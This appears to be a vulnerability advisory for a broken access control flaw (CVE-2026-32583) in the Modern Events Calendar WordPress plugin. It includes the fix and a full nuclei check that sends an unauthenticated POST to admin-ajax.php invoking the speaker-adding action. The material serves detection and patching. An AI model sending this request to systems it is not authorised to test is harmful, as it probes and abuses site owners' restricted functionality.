Webnus Inc. Modern Events Calendar - Broken Access Control

mediumseverity

5.3CVSS score

0.8%likelihood of exploitation, next 30 days

56%of all CVEs are less likely

Readycheck to confirm it

Webnus Inc. Modern Events Calendar <= 7.29.0 contains a broken access control vulnerability caused by incorrectly configured access control security levels, letting attackers bypass authorization, exploit requires no special privileges.

Impact

Attackers can bypass authorization and access restricted functionality or data, potentially compromising system integrity.

Fix

Update to the latest version beyond 7.29.0.

How to confirm it

Send: POST /wp-admin/admin-ajax.php
Positive when: contains "mec_fes_speakers" AND status 200

Run it with nuclei: nuclei -id CVE-2026-32583 -u <target>

The full check

id: CVE-2026-32583

info:
  name: Webnus Inc. Modern Events Calendar - Broken Access Control
  author: theamanrawat
  severity: medium
  description: |
    Webnus Inc. Modern Events Calendar <= 7.29.0 contains a broken access control vulnerability caused by incorrectly configured access control security levels, letting attackers bypass authorization, exploit requires no special privileges.
  impact: |
    Attackers can bypass authorization and access restricted functionality or data, potentially compromising system integrity.
  remediation: |
    Update to the latest version beyond 7.29.0.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-32583
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-32583
    epss-score: 0.00715
    epss-percentile: 0.54071
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 1
    vendor: webnus
    product: modern_events_calendar
    framework: wordpress
  tags: cve2026,cve,wordpress,wp-plugin,wp,mec,vuln

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=mec_speaker_adding

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "mec_fes_speakers"

      - type: status
        status:
          - 200

References

https://nvd.nist.gov/vuln/detail/CVE-2026-32583

Use this check only on systems you are authorised to test. Where the data comes from